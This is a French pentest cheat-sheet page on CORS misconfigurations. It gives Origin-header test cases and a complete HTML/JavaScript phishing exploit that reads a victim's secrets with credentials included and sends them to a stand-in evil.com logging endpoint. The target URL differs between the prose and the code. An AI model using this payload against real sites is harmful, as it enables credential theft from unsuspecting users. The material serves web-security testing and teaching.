CORS
Cross-Origin Ressource Sharing
CORScanner
CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).
Exemple d'utilisation:
$ python cors-scanner.py -u https://target.com/
ressource: https://github.com/chenjj/CORScanner
Manuel
Origin aléatoire
Header Requête:
Origin: http://evil.com
Regarder dans la réponse si l'url est acceptée.
Header Réponse:
Access-Control-Allow-Origin: http://evil.com
Origin null
Header requête:
Origin: null
Regarder si une origine "null" est acceptée.
Header réponse:
Access-Control-Allow-Origin: null
Origin commençant par nom de sous-domaine de la cible 
Header requête:
Origin: sub.target.com.evil.com
Header réponse:
Access-Control-Allow-Origin: sub.target.com.evil.com
Origin finissant par nom de sous-domaine de la cible
Header requête:
Origin: eviltarget.com
Origin: evil-target.com
Header réponse:
Access-Control-Allow-Origin: eviltarget.com ou evil-target.com
Exemple de phishing utilisant une mauvaise configuration de CORS:
Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans http://target.com/secrets.
Contenu de la page http://evil.com/exploit:
<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("https://target.xyz/secret", {
        method: "GET",
        credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
      })
      .then(res => res.text())
      .then(data => {
        // Send result back to attacker
        fetch("https://evil.com/log?data=" + encodeURIComponent(data));
      })
      .catch(err => {
        console.error("Error:", err);
      });
    </script>
  </body>
</html>On envoie ensuite le lien (http://evil.com/exploit) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur https://target.com/secrets et récupérer ses identifiants pour les afficher dans les logs de evil.com (http://evil.com/log?key=<données de la page https://target.com/secrets>).
Mis à jour
Ce contenu vous a-t-il été utile ?
